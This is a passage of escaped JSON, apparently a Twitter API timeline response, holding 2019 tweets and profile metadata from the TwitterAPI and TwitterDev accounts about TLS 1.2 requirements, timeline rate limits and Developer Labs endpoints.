2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1138569964032385025,\"quoted_status_id_str\":\"1138569964032385025\",\"quoted_status\":{\"created_at\":\"Tue Jun 11 22:13:27 +0000 2019\",\"id\":1138569964032385025,\"id_str\":\"1138569964032385025\",\"text\":\"Starting July 15, 2019, all connections to the Twitter API (and all other Twitter domains) will require TLS 1.2. Re\\u2026 https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138569964032385025\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":93,\"favorite_count\":114,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":113,\"favorite_count\":122,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jul 17 15:54:45 +0000 2019\",\"id\":1151520624315174912,\"id_str\":\"1151520624315174912\",\"text\":\"RT @TwitterDev: Academic research is some of the most impactful work that happens with the Twitter API. As we plan for the future of our de\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/about.twitter.com\\\/products\\\/tweetdeck\\\" rel=\\\"nofollow\\\"\\u003eTweetDeck\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Jul 17 15:53:43 +0000 2019\",\"id\":1151520361529430016,\"id_str\":\"1151520361529430016\",\"text\":\"Academic research is some of the most impactful work that happens with the Twitter API. As we plan for the future o\\u2026 https:\\\/\\\/t.co\\\/dG3PmGWAJ4\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/dG3PmGWAJ4\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1151520361529430016\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":423,\"favorite_count\":674,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":423,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Mon Jun 24 17:50:46 +0000 2019\",\"id\":1143214899109277697,\"id_str\":\"1143214899109277697\",\"text\":\"We\\u2019ve spoken with all developers who\\u2019ve contacted us to discuss these new rate limits and elevations, and as of tod\\u2026 https:\\\/\\\/t.co\\\/w8WoepBjeU\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/w8WoepBjeU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1143214899109277697\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1141392777600806912,\"in_reply_to_status_id_str\":\"1141392777600806912\",\"in_reply_to_user_id\":6253282,\"in_reply_to_user_id_str\":\"6253282\",\"in_reply_to_screen_name\":\"TwitterAPI\",\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":37,\"favorite_count\":85,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jun 19 17:10:18 +0000 2019\",\"id\":1141392777600806912,\"id_str\":\"1141392777600806912\",\"text\":\"Request limit change: today, we're implementing a change to two commonly used Twitter standard API endpoints - user\\u2026 https:\\\/\\\/t.co\\\/ymDvv7r8lB\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ymDvv7r8lB\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1141392777600806912\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1141390793657266176,\"quoted_status_id_str\":\"1141390793657266176\",\"quoted_status\":{\"created_at\":\"Wed Jun 19 17:02:25 +0000 2019\",\"id\":1141390793657266176,\"id_str\":\"1141390793657266176\",\"text\":\"\\u2757\\ufe0fToday, user and mentions timeline request limits go into effect. If you want to learn more about this change, tak\\u2026 https:\\\/\\\/t.co\\\/kFzCKybdkD\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/kFzCKybdkD\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1141390793657266176\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1108050885639168000,\"quoted_status_id_str\":\"1108050885639168000\",\"retweet_count\":19,\"favorite_count\":48,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":82,\"favorite_count\":89,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jun 12 17:36:26 +0000 2019\",\"id\":1138862637394137093,\"id_str\":\"1138862637394137093\",\"text\":\"Reminder: only 1\\u20e3 week until the rate limit change to user and mentions timeline endpoints will go into effect. If\\u2026 https:\\\/\\\/t.co\\\/JAUtpAZotb\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/JAUtpAZotb\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138862637394137093\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":38,\"favorite_count\":62,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Jun 11 22:13:27 +0000 2019\",\"id\":1138569964032385025,\"id_str\":\"1138569964032385025\",\"text\":\"Starting July 15, 2019, all connections to the Twitter API (and all other Twitter domains) will require TLS 1.2. Re\\u2026 https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138569964032385025\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":93,\"favorite_count\":114,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Jun 11 18:00:27 +0000 2019\",\"id\":1138506294485168129,\"id_str\":\"1138506294485168129\",\"text\":\"RT @TwitterDev: \\ud83c\\udfba da-dada-DAH! We\\u2019re introducing the first Twitter Developer Labs endpoints: \\n\\n\\u2728GET\\\/users and GET\\\/tweets \\u2728\\n\\nLabs is now ope\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my 